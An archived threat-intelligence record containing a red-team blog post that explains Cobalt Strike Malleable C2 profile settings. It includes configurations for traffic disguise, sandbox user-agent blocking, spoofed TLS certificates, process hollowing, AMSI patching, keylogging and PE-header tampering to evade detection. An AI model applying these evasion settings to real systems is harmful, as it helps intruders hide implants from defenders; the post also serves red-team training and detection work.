{
	"id": "6de838c0-3b77-4405-97ab-ecf5a3f69613",
	"created_at": "2026-04-06T00:12:06.518358Z",
	"updated_at": "2026-04-10T03:24:23.691409Z",
	"deleted_at": null,
	"sha1_hash": "427590daaf290574abaf16d541e65e957d8d46c5",
	"title": "Understanding Cobalt Strike Profiles - Updated for Cobalt Strike 4.6",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 520586,
	"plain_text": "Understanding Cobalt Strike Profiles - Updated for Cobalt Strike\r\n4.6\r\nBy Andy Gill\r\nPublished: 2022-04-13 · Archived: 2026-04-05 21:49:02 UTC\r\nI aim to keep this blog post updated as the new versions of Cobalt Strike come out and explain the different\r\noptions available within Malleable Profiles.\r\nI really enjoy the process of red teaming especially when it comes to evading detection and lining up against a\r\ngood blue team. Probably one of the most common commercially available Command and Control(C2)\r\nframeworks used today is Cobalt Strike(CS). So popular in fact it is classified on its own as a malware family by\r\nmany defensive security products.\r\nUsing CS in red team operations is common practice for a lot of companies offering red teaming to their clients\r\nand my mileage is no different there. Having used many products I've found the ability to craft how the C2\r\nresponds to traffic very useful, which is where malleable c2 profiles enter the conversation.\r\nOne of the great and popular features of cobalt strike is the ability to create profiles  to shape and mask traffic,\r\nessentially a profile is used to tell the CS teamserver how traffic is going to look and how to respond to the data\r\nthe beacon sends it.\r\nExample Profile\r\nThe output below is an example profile broken down into the different sections and much like the documentation\r\nexplains, I am going to break down what each section does and how it works both from a profile specific\r\nhttps://blog.zsec.uk/cobalt-strike-profiles/\r\nPage 1 of 16\n\nperspective and in use case scenarios.\r\nIn addition I will explain what different sections can be used for to help blue team and purple team folks alike\r\nunderstand how it works and how to develop detections.\r\nAuxiliary Information\r\nset sample_name \"Zsec Example Profile\";\r\nset host_stage \"false\";\r\nset jitter \"0\";\r\nset pipename \"msagent_###\"; # Each # is replaced witha random hex value.\r\nset pipename_stager \"status_##\";\r\nset sleeptime \"60000\"; # default sleep in ms, 1 minute\r\nset ssh_banner \"Cobalt Strike 4.4\";\r\nset ssh_pipename \"postex_ssh_####\";\r\nset data_jitter \"100\";\r\nset useragent \"Not Cobalt Strike\";\r\nThe initial section is where the auxiliary information is set such as sleep times, user agent, named pipes and\r\nbanners. The different options above are broken down as follows:\r\nsample_name: This is the name of the profile, it enables for easy management of multiple profiles. This\r\ninformation is also used in the reporting output from CS within the indicators of compromise report.\r\nhost_stage: This value sets if the server will have a stager or not, the common practice for opersational\r\nsecurity is to set this to false and use stageless payloads with the tradeoff that shellcode produced is much\r\nbigger due to it containing everything.\r\njitter: This is the percetage of jitter on the sleep time of the beacon, it defaults to 0 but can be set to any %.\r\nMeaning if for example 10% is set and the sleep time was 60s the beacon sleep would be anything from\r\n54-66s of sleep.\r\npipeame: This sets the default name used for any named pipes, typically when writing profiles it is best\r\npractice to enumerate pipes of software in the environment and tweak the profile to match. A common\r\nexample is to mirror Google Chrome named pipes which start mojo_ . Named pipe beacons are typically\r\nused over the SMB protocol and for hosts that cannot communicate directly to the internet, rather\r\ncommunicate back to a primary beacon that has a direct outbound connection.\r\nsleeptime: This is the check in time or sleep timer of the beacon in miliseconds, the default is typically\r\n60000 aka a minute, but this can be set to anything and combined with the jitter option to solidify a stealthy\r\nbreach. Blue/Purple tip, it is possible to work out the time deltas on beacons if a process is checking back\r\nto a certain domain or list of domains over a period of time, there are various tools that will extract\r\ninformation about the beacon from the running processes.\r\nssh_banner: This sets the banner shown on SSH beacons, typically for opsec this should be set to a Linux\r\nbanner such as OpenSSH_7.4 Debian (protocol 2.0) or a service to match the traffic being sent.\r\nssh_pipename: Similar to the pipename parameter, this is the name of the pipe used for SSH based\r\nbeacons.\r\nhttps://blog.zsec.uk/cobalt-strike-profiles/\r\nPage 2 of 16\n\ndata_jitter: This will enable the operator to append a random length of null data up to the amount set to\r\nboth get and post responses from the CS server.\r\nuseragent: This sets the User-Agent string used in HTTP requests by the beacon in CS versions \u003c 4.2 there\r\nis a 128 max characters limit whereas in CS 4.2+ the max is increased to 255 characters. Typically this\r\nvalue will be set to a user browser or if the profile is set to match a specific piece of software it might\r\nmirror that software user agent.\r\nHTTP Config\r\nIn addition to the auxiliary information at the top of the profile, the http-config section specifies additional aux\r\ninformation related to specifics applicable to all aspects of the profile. Such as headers to be sent in requests,\r\nwhether X-Forwarded-For is to be trusted or not and if specific user agents are to be blocked or allowed. The http-config block has influence over all HTTP responses served by Cobalt Strike’s web server.\r\nhttp-config {\r\n set headers \"Date, Server, Content-Length, Keep-Alive, Connection, Content-Type\";\r\n header \"Server\" \"Apache\";\r\n header \"Keep-Alive\" \"timeout=10, max=100\";\r\n header \"Connection\" \"Keep-Alive\";\r\n set trust_x_forwarded_for \"true\";\r\n set block_useragents \"curl*,lynx*,wget*\";\r\n set allow_useragents \"*Mozilla*\";\r\n}\r\nset headers - Does what it says on the tin, specifies specific headers to be set throughout the profile and\r\ninteractions with beacon and server.\r\ntrust_x_forwarded_for - Use this option if your teamserver is behind a redirector, which from an opsec\r\nperspective should ALWAYS be the case if using as an external C2!\r\nblock_useragents - This acts as a block list of user agents that will be met with a 404 page, when browsing\r\nto the redirector and passing through to the C2. This can be useful for blocking known crawlers and\r\nsandboxes ;).\r\nallow_useragents - The inverse of the above option, this can be used as an allow list for specific user agents\r\nto be permitted to connect to the C2 server.\r\nTLS Certificate\r\nhttps://blog.zsec.uk/cobalt-strike-profiles/\r\nPage 3 of 16\n\nWhen using a HTTPS listener, CS gives the option for using signed HTTPS certificates for C2 communications.\r\nThere are multiple options when setting this up ranging from none to signed by trusted authority all of which are\r\ndescribed below:\r\nhttps-certificate {\r\n# Option 1: Create a signed certificate with Java Keystore tool\r\nset keystore \"/pathtokeystore\";\r\n set password \"password\";\r\n \r\n # Option 2: Self Signed with vendor specifics\r\n set C \"US\";\r\n set CN \"jquery.com\";\r\n set O \"jQuery\";\r\n set OU \"Certificate Authority\";\r\n set validity \"365\";\r\n \r\n}\r\nHTTPSC2DoneRight will enable you to create a signed TLS certificate that can be used with CS to improve\r\nlegitmacy.\r\nOption 1 above shows a method for making a signed certificate and creating a Java Keystore file and a\r\npassword for the keystore. This keystore must contain your certificate's private key, the root certificate, any\r\nintermediate certificates, and the domain certificate provided by your SSL certificate vendor. CS expects to\r\nfind the Java Keystore file in the same folder as your Malleable C2 profile.\r\nOption 2: Is to create a self-signed certificate with whatever information you want, typically this is done to\r\nspoof an existing certificate to match the profile, the C, CN, I, OU and validity are all set from typical\r\ninformation supplied in a TLS certificate.\r\nClient and Server Interactions\r\nThe most customisable aspect of the profile is being able to specify which sections act in different ways, the main\r\nones are GET and POST specifying how traffic is intercepted and how data is chunked. An example GET and\r\nhttps://blog.zsec.uk/cobalt-strike-profiles/\r\nPage 4 of 16\n\nPOST section are shown below complete with both client and server interactions.\r\nhttp-get {\r\n set uri \"/web /api/gallery /updates /about\";\r\n client {\r\n header \"Accept\" \"*/*\";\r\n header \"Connection\" \"Close\";\r\n header \"Host\" \"zsec.uk\";\r\n metadata {\r\n base64;\r\n netbios;\r\n prepend \"cf=\";\r\n header \"Cookie\";\r\n }\r\n }\r\n server {\r\n output {\r\n \r\n print;\r\n }\r\n }\r\n}\r\nThe main sections of the profile are broken up into uri, client, server and the contents held within each. Breaking\r\nthe above section down:\r\nset uri: Specifies the URI that the beacon will call back to, this is chosen at random from the list at the time\r\nof generation of the beacon, initially one would assume these are round robin but unforunately not. Each\r\nbeacon variant will have one URI hard coded for both post and get, which is good news for defenders\r\nattempting to identify traffic in netflow data.\r\nThe client section details the information sent and shown by the beacon on the target host, this dictates how\r\ntraffic is chunked and sent and it also specifies how information is encoded, there are multiple options\r\navailable for this. In addition the profile enables you to set specific headers which is especially important if\r\na specific site or endpoint is being emulated as this will show in the HTTP traffic. It also specifies what the\r\nexpected host header is on traffic, this enables differentiating between false HTTP traffic and legitimate C2\r\ntraffic.\r\nThe metadata section specifiies where things such as cookies can be set, this is an additional place where\r\ndata can be hidden on C2 communications, typically data is sent in either a specific header or a cookie\r\nvalue which can be specified and set to anything. When red teaming a client it is often common practice to\r\nhttps://blog.zsec.uk/cobalt-strike-profiles/\r\nPage 5 of 16\n\nprofile users' browsers and expected traffic in an environment to enable better blending in.  When CS's\r\nBeacon \"phones home\" it sends metadata about itself to the CS teamserver.\r\nThe server section details how the server responds to C2 traffic, the example above tells the server to\r\nrespond with raw data in its encrypted form however this can be customised in the same way as the client\r\nspecifying key areas where things should be encoded.\r\nThere are a few options available when it comes to data encoding and transformation. For example, you may\r\nchoose to netbios encode the data to transmit, prepend some information, and then base64 encode the whole\r\npackage.\r\nbase64 - Base64 encode data that is encapsulated in various sections, in the exable above the cookie value\r\ncf_ contains encoded metadata to be sent back to the CS server.\r\nbase64url - URL-safe Base64 Encode, this is typically used when sending data back in a URL parameter\r\nand the data needs to be URL safe so as to not break the communcation stream.\r\nmask - XOR mask w/ random key, this encodes and encrypts the data within a XOR stream with a random\r\nkey, typically used in combination with other encoding to obfuscate the data stream.\r\nnetbios - NetBIOS Encode 'a'  it encodes as netbios data in lower case.\r\nnetbiosu - NetBIOS Encode 'A', another form of netbios encoding.\r\nPOST Section\r\nhttp-post {\r\n set uri \"/web/auth.php /admin/login.php\";\r\n client {\r\n header \"Accept\" \"*/*\";\r\n header \"Host\" \"zsec.uk\";\r\n header \"Connection\" \"Close\";\r\nhttps://blog.zsec.uk/cobalt-strike-profiles/\r\nPage 6 of 16\n\nid {\r\n netbios;\r\n base64url;\r\n parameter \"key\";\r\n }\r\n output {\r\n print;\r\n }\r\n }\r\n server {\r\n header \"Pragma\" \"no-cache\";\r\n header \"Connection\" \"close\";\r\n output {\r\n print;\r\n }\r\n }\r\n}\r\nAgain like the GET section above, the POST section states how information should be sent in a POST request, it\r\nhas the added benefit that specifics such as body content and other parameters can be set to enable you to blend in.\r\nPost Exploitation\r\nCustomising the GET and POST requests is just the beginning, the next few sections of the profile is where the\r\nmagic of post exploitation customisation lives including how the beacon looks in memory, how migration and\r\nbeacon object files affect the indicators of compromise and much much more.\r\npost-ex {\r\n \r\n set spawnto_x86 \"%windir%\\\\syswow64\\\\dllhost.exe\";\r\n set spawnto_x64 \"%windir%\\\\sysnative\\\\dllhost.exe\";\r\n set obfuscate \"true\";\r\n set smartinject \"true\";\r\n set amsi_disable \"true\";\r\n set pipename \"Winsock2\\\\CatalogChangeListener-###-0,\";\r\n set keylogger \"GetAsyncKeyState\";\r\n set threadhint \"module!function+0x##\"\r\n}\r\nspawnto_x86|spawnto_x64 - Specifies the process that will be hollowed out and new beacon process be\r\ncreated inside, this can typically be set to anything however it is recommended not to use the following\r\nhttps://blog.zsec.uk/cobalt-strike-profiles/\r\nPage 7 of 16\n\n\"csrss.exe\",\"logoff.exe\",\"rdpinit.exe\",\"bootim.exe\",\"smss.exe\",\"userinit.exe\",\"sppsvc.exe\". In addition\r\nselecting a binary that does not launch with user account control is key(UAC). To add additional stealthy\r\nand blending techniques, you can add paramters to the spawnto command: set spawnto_x86\r\n\" %windir%\\syswow64\\dllhost.exe -k netsvcs\"; .\r\nobfuscate - The obfuscate option scrambles the content of the post-exploitation DLLs and settles the post-ex capability into memory in a more operational security-safe manner.\r\nsmartinject - This directs Beacon to embed key function pointers, like GetProcAddress and LoadLibrary,\r\ninto its same-architecture post-ex DLLs. This allows post-ex DLLs to bootstrap themselves in a new\r\nprocess without shellcode-like behavior that is detected and mitigated by watching memory accesses to the\r\nPEB and kernel32.dll.\r\namsi_disable - This option directs powerpick, execute-assembly, and psinject to patch the AmsiScanBuffer\r\nfunction before loading .NET or PowerShell code. This limits the Antimalware Scan Interface visibility\r\ninto these capabilities. There are additional things that can be done post exploitation with the likes of\r\nbeacon object files(BOFS) to evade amsi, but I will not be covering BOFs in this post.\r\nkeylogger - The GetAsyncKeyState option (default) uses the GetAsyncKeyState API to observe\r\nkeystrokes. The SetWindowsHookEx option uses SetWindowsHookEx to observe keystrokes, this can be\r\ntuned even more within the TeamServer properties which is discussed further down this post.\r\nThreadhint - allows multi-threaded post-ex DLLs to spawn threads with a spoofed start address. Specify\r\nthe thread hint as \"module!function+0x##\" to specify the start address to spoof. The optional 0x## part is\r\nan offset added to the start address.\r\nAdditionally as set in the auxiliary information, the named pipe can be configured for spawning off of new\r\nprocesses under pipename .\r\nMoar Customisation\r\nNow post exploitation is cool and all but how about tuning the ways in which process injection and memory\r\nindicators behave? Starting with process injection this is defined with the process-inject { header:\r\nprocess-inject {\r\n set allocator \"NtMapViewOfSection\";\r\n set min_alloc \"17500\";\r\n \r\n set startrwx \"false\";\r\n set userwx \"false\";\r\n transform-x86 {\r\n prepend \"\\x90\\x90\";\r\n #append \"\\x90\\x90\";\r\n }\r\n transform-x64 {\r\n prepend \"\\x90\\x90\";\r\nhttps://blog.zsec.uk/cobalt-strike-profiles/\r\nPage 8 of 16\n\n#append \"\\x90\\x90\";\r\n }\r\n \r\n execute {\r\n CreateThread \"ntdll!RtlUserThreadStart+0x42\";\r\n CreateThread;\r\n NtQueueApcThread-s;\r\n \r\n CreateRemoteThread;\r\n \r\n RtlCreateUserThread;\r\n }\r\n}\r\nThe various sections are defined as follows:\r\nset allocator - Allows setting a remote memory allocation using one of two techniques: VirtualAllocEx or\r\nNtMapViewOfSection\r\nmin_alloc - Minimium memory allocation size when injecting content, very useful when it comes to being\r\nspecific.\r\nstartrwx|userwx - This defaults to false as it sets the memory permissions as  initial= read write execute,\r\nfinal= read and execute.\r\ntransform-x86| transform-x64 - Transform injected content to avoid signature detection of first few bytes.\r\nOnly supports prepend and append of hex based bytes.\r\nThe execute section controls the methods that the Beacon will use when it needs to inject code into a process.\r\nBeacon examines each option in the execute block, determines if the option is usable for the current context, tries\r\nthe method when it is usable, and moves on to the next option if code execution did not happen.\r\nCreateThread - current process only aka self injection\r\nCreateRemoteThread - Vanilla cross process injection technique. Doesn't cross session boundaries\r\nNtQueueApcThread|NtQueAPCThread-s - This is the \"Early Bird\"injection technique. Suspended\r\nprocesses (e.g., post-ex jobs) only.\r\nRtlCreateUserThread- Risky on XP-era targets;uses RWX shellcode for x86-\u003ex64 injection.\r\nSetThreadContext - Suspended processes (e.g. post-ex jobs only)\r\nMemory Indicators\r\nFinally this block in Malleable C2 profiles controls how Beacon is loaded into memory and edit the contents of\r\nthe Beacon Reflective DLL.  There are a large amount of options to customise this and as a result the possibilities\r\nof how a beacon looks in memory are endless!\r\nhttps://blog.zsec.uk/cobalt-strike-profiles/\r\nPage 9 of 16\n\nstage {\r\n set userwx \"false\";\r\n set stomppe \"true\";\r\n set obfuscate \"true\";\r\n set name \"srv.dll\";\r\n set cleanup \"true\";\r\n # Values captured using peclone against a Windows 10 version of explorer.exe\r\n set checksum \"0\";\r\n set compile_time \"11 Nov 2016 04:08:32\";\r\n set entry_point \"650688\";\r\nset image_size_x86 \"4661248\";\r\nset image_size_x64 \"4661248\";\r\nset rich_header \"\\x3e\\x98\\xfe\\x75\\x7a\\xf9\\x90\\x26\\x7a\\xf9\\x90\\x26\\x7a\\xf9\\x90\\x26\\x73\\x81\\x03\\x26\\x\r\n # transform the x64 rDLL stage\r\n transform-x64 {\r\n strrep \"This program cannot be run in DOS mode\" \"\";\r\n strrep \"beacon.dll\" \"\";\r\n strrep \"beacon.x64.dll\" \"\";\r\n strrep \"beacon.x32.dll\" \"\";\r\n }\r\n \r\n # transform the x86 rDLL stage\r\n transform-x86 {\r\n strrep \"ReflectiveLoader\" \"run\";\r\n strrep \"This program cannot be run in DOS mode\" \"\";\r\n strrep \"beacon.dll\" \"\";\r\n strrep \"beacon.x64.dll\" \"\";\r\n strrep \"beacon.x32.dll\" \"\";\r\n }\r\nstomppe - Ask ReflectiveLoader to stomp MZ, PE, and e_lfanew values after it loads Beacon payload\r\nname - The Exported name of the Beacon DLL\r\ncleanup   - Ask Beacon to attempt to free memory associated with the Reflective DLL package that\r\ninitialized it.\r\nchecksum - This defaults to zero however it is the CheckSum value in Beacon's PE header.\r\ncompile_time   - sets the time that the PE was compiled, note all of the information can be cloned from a\r\nlegitmate binary using the peclone tool built into cobalt strike.\r\nentry_point    - The EntryPoint value in Beacon's PE header\r\nimage_size_x86 |  image_size_x64 - SizeOfImage value in Beacon's PE header\r\nrich_header - Meta-information inserted by the compiler\r\ntransform-x86 | transform-x64 - The transform-x86 and transform-x64 blocks pad and transform Beacon's\r\nReflective DLL stage. These blocks support three commands: prepend, append, and strrep.\r\nhttps://blog.zsec.uk/cobalt-strike-profiles/\r\nPage 10 of 16\n\nProfile Variants\r\nBy default a profile only contains one block of GET and POST however it is possible to pack variations of the\r\ncurrent profile by specifying variant blocks. An example variant is shown below:\r\nhttp-get \"GET Azure\" {\r\nclient {\r\nparameter \"api\" \"AZ_example\";\r\n header \"Cookie\" \"SomeValue\";\r\n}\r\nEach variant can have a different name which is later specified when specifying the listener, the screenshot below\r\nexplains how a listener is defined(borrowed from https://blog.cobaltstrike.com/2019/12/05/cobalt-strike-4-0-\r\nbring-your-own-weaponization/).\r\nVariants are selectable when configuring an HTTP or HTTPS Beacon listener. Variants allow each HTTP or\r\nHTTPS Beacon listener tied to a single team server to have network IOCs that differ from each other.\r\nDifference between GET-ONLY and normal Profiles\r\nI came across the difference recently when it comes to GET vs POST profiles, there are a few blog posts that\r\ncovered it but skipped over this part and it left me scratching my head on quite a few occasions. Essentially it is in\r\nthe name, a GET only profile, funnily enough only uses GET requests to communicate with the server.\r\nhttps://blog.zsec.uk/cobalt-strike-profiles/\r\nPage 11 of 16\n\nIn terms of malleable c2 profile for GET-only the options that differ from a standard profile is that the HTTP Verb\r\nin the http-post section needs to be set to set verb \"GET\" as shown below. However the output also needs to be\r\nset to base64url and given a parameter to be sent in the URL. There are a few limitations of doing this as unless\r\nhttps://blog.zsec.uk/cobalt-strike-profiles/\r\nPage 12 of 16\n\nyou are using a shortened URL/URI for your callback host, you are limited to 2,083 characters in a URL which\r\nminus the URL gives us on average 2000 chars to play with on each request.\r\nhttp-post {\r\n \r\n set uri \"/Search/\";\r\n set verb \"GET\"; # Option required for GET-Only\r\n client {\r\n output {\r\n base64url; # Option required for GET-Only\r\n parameter \"q\";\r\n }\r\n \r\n \r\n id {\r\n base64url; # Option required for GET-Only\r\n parameter \"form\";\r\n }\r\n }\r\n server {\r\n header \"Cache-Control\" \"private, max-age=0\";\r\n header \"Content-Type\" \"text/html; charset=utf-8\";\r\n header \"Vary\" \"Accept-Encoding\";\r\n header \"Server\" \"Microsoft-IIS/8.5\";\r\n header \"Connection\" \"close\";\r\n \r\n output {\r\n netbios;\r\n print;\r\n }\r\n }\r\n}\r\nThe HTTP-POST section serves as the beacon’s response to commands issued by the server and can actually be\r\nperformed as a HTTP GET or HTTP POST request. In this case for a get-only profile the http verb is set to GET .\r\nNew Features in Cobalt Strike 4.4 \u0026 4.5\r\nWith all tooling things get updated, so the features below were introduced in CS 4.4 which both improve the\r\nprofile and operating experience for operators. A few of the newer features that introduce additional options in the\r\nCS profile are:\r\nhttps://blog.zsec.uk/cobalt-strike-profiles/\r\nPage 13 of 16\n\nSleep Mask Kit - Since CS 3.x there has been an option within memory indicators to enable tuning of the\r\nsleep mask however with the sleep mask kit it is possible to configure this one step more.\r\n.http-config.allow_useragents - Within the HTTP-Config area it is possible to set blocked user agents,\r\nhowever in 4.4 the option to specifiy only allowed user agents became an option.\r\nTeamserver Properties file - Described below.\r\nTeamserver Properties File (TeamServer.prop)\r\nI noticed this error when hooking up my CS4.4 team server:\r\n[!] Properties file (/home/ubuntu/cobaltstrike/TeamServer.prop) was not found.\r\nThe file contains several optional parameters that can be used to further customise the settings used by the team\r\nserver to validate screenshot and keylog callback data. It also enables tweaking of other options like the fix for the\r\n“HotCobalt” vulnerability. An example teamserver properties file is shown below:\r\n#Cobalt Strike Team Server Properties\r\n#Fri May 07 12:00:00 CDT 2021\r\n# ------------------------------------------------\r\n# Validation for screenshot messages from beacons\r\n# ------------------------------------------------\r\n# limits.screenshot_validated=true\r\n# limits.screenshot_data_maxlen=4194304\r\n# limits.screenshot_user_maxlen=1024\r\n# limits.screenshot_title_maxlen=1024\r\n# Stop writing screenshot data when Disk Usage reaches XX%\r\n# Example: Off\r\n# \"limits.screenshot_diskused_percent=0\"\r\n# Example: Stop writing screenshot data when Disk Usage reaches 95%\r\n# \"limits.screenshot_diskused_percent=95\"\r\n# Default:\r\n# limits.screenshot_diskused_percent=95\r\n# ------------------------------------------------\r\n# Validation for keystroke messages from beacons\r\n# ------------------------------------------------\r\n# limits.keystrokes_validated=true\r\n# limits.keystrokes_data_maxlen=8192\r\n# limits.keystrokes_user_maxlen=1024\r\n# limits.keystrokes_title_maxlen=1024\r\n# Stop writing keystroke data when Disk Usage reaches XX%\r\n# Example: Off\r\n# \"limits.keystrokes_diskused_percent=0\"\r\n# Example: Stop writing keystroke data when Disk Usage reaches 95%\r\n# \"limits.keystrokes_diskused_percent=95\"\r\n# Default:\r\n# limits.keystrokes_diskused_percent=95\r\nhttps://blog.zsec.uk/cobalt-strike-profiles/\r\nPage 14 of 16\n\nFrom the cobalt strike site the properties file is described as:\r\nLines starting with “#” are comments.\r\nlimits._data_maxlen is the maximum size of screenshot/keylog data that will be processed. Callbacks\r\nexceeding this limit will be rejected.\r\nlimits._validated=false means that the three following “…_maxlen” settings are ignored\r\nSetting any of the “…_maxlen” settings to zero will disable that particular setting\r\nlimits._diskused_percent sets the threshold for callback processing. Callbacks are rejected when disk\r\nusage exceeds the specified percentage\r\nlimits._diskused_percent=0 (zero) disables this setting\r\nValid values are 0-99\r\nThanks to Joe Vest for updates regarding CS 4.5 taken from git:\r\nCobalt Strike 4.5 Updates and Considerations\r\nSleepmask and UDRL Updates\r\nThe sleepmask and UDRL(User Defined Reflective Loader) hooks were updated in version 4.5. If you use a\r\ncustom UDRL and a custom sleepmask, there could be conflicts with profile settings if sleepmask = true\r\nstage.userwx\r\nThis setting is a Boolean and informs the default loader to either use RWX or RX memory. At runtime beacon will\r\neither include or not include the .text section for masking. If the setting is set to TRUE, your user defined loader\r\nneeds to set the protection on the .text section as RWX otherwise beacon will crash. If the setting is set to FALSE,\r\nyour user defined loader should set the protection on the .text section as RX as the .text section will not be\r\nmasked.\r\nstage.obfuscate\r\nThis setting is a Boolean and informs the default loader to either copy the header or not copy the header into\r\nmemory. At runtime beacon will either include or not include the header section for masking. If the setting is set to\r\nTRUE, your user defined reflective loader should not copy the header into memory as beacon will not mask the\r\nheader section. If the setting is set to FALSE, your user defined loader should copy the header into memory as\r\nbeacon will mask the header section.\r\nDepending on how sophisticated your reflective loader is you will need to make sure the settings in the Malleable\r\nC2 profile will work with how the beacon payload is loaded into memory. With the\r\nBEACON_RDLL_GENERATE and BEACON_RDLL_GENERATE_LOCAL aggressor script hooks you do have\r\nthe opportunity to modify your reflective loader by using the aggressor script pe_* functions.\r\nhttps://www.cobaltstrike.com/blog/user-defined-reflective-loader-(udrl)-update-in-cobalt-strike-4.5\r\nhttps://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/malleable-c2-\r\nextend_user-defined-rdll.htm\r\nhttps://blog.zsec.uk/cobalt-strike-profiles/\r\nPage 15 of 16\n\n4.6 Updates and Considerations\r\nThree new options were added that provide control to how much data (tasks and proxy) is transferred through a\r\ncommunication channel\r\nset tasks_max_size \"1048576\";\r\nset tasks_proxy_max_size \"921600\";\r\nset tasks_dns_proxy_max_size \"71680\";\r\nset tasks_max_size\r\n4.6 adds three new options, the first of which is tasks_max_size which sets the maximum size (in bytes) of task(s)\r\nand proxy data that can be transferred through a communication channel at a check in of a beacon.\r\nset tasks_proxy_max_size\r\ntasks_proxy_max_size sets the maximum size (in bytes) of proxy data to transfer via the communication channel\r\nat check in, this in conjunction with the other two options gets around the 1mb limit previously encountered\r\nwithin CS.\r\nset tasks_dns_proxy_max_size\r\ntasks_proxy_max_size sets  maximum size (in bytes) of proxy data to transfer via the DNS communication\r\nchannel at a check-in of a beacon.\r\nThe tasks_max_size , tasks_proxy_max_size , and tasks_dns_proxy_max_size work in conjunction to create a\r\ndata buffer to be transferred to beacon when a check-in occurs.  This is to ensure that when a beacon checks in it\r\nrequests a list of tasks and proxy data that are ready to be transferred to the beacon and any associated child\r\nprocesses or beacons. The data buffer starts to fill with task(s) followed by proxy data for the parent beacon. Then\r\nit continues this pattern for each child beacon until no more tasks or proxy data is available or the tasks_max_size\r\nsetting will be exceeded by the next task or proxy data.\r\nhttps://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/malleable-c2_profile-language.htm#_Toc65482837\r\nConclusion\r\nHopefully this post has given you a deeper understanding of some of the nuances around CS profile creation and\r\nsome of the areas to explore some more. It has not been a complete guide as I didn't want to re-write the already\r\ngreat malleable C2 documentation. However it gives a bit of guidance around areas that should be noted and some\r\nof the key differences between sections and areas that matter.\r\nThis post is also now featured in https://github.com/threatexpress/malleable-c2/blob/master/MalleableExplained.md\r\nSource: https://blog.zsec.uk/cobalt-strike-profiles/\r\nhttps://blog.zsec.uk/cobalt-strike-profiles/\r\nPage 16 of 16",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://blog.zsec.uk/cobalt-strike-profiles/"
	],
	"report_names": [
		"cobalt-strike-profiles"
	],
	"threat_actors": [
		{
			"id": "610a7295-3139-4f34-8cec-b3da40add480",
			"created_at": "2023-01-06T13:46:38.608142Z",
			"updated_at": "2026-04-10T02:00:03.03764Z",
			"deleted_at": null,
			"main_name": "Cobalt",
			"aliases": [
				"Cobalt Group",
				"Cobalt Gang",
				"GOLD KINGSWOOD",
				"COBALT SPIDER",
				"G0080",
				"Mule Libra"
			],
			"source_name": "MISPGALAXY:Cobalt",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		}
	],
	"ts_created_at": 1775434326,
	"ts_updated_at": 1775791463,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/427590daaf290574abaf16d541e65e957d8d46c5.pdf",
		"text": "https://archive.orkl.eu/427590daaf290574abaf16d541e65e957d8d46c5.txt",
		"img": "https://archive.orkl.eu/427590daaf290574abaf16d541e65e957d8d46c5.jpg"
	}
}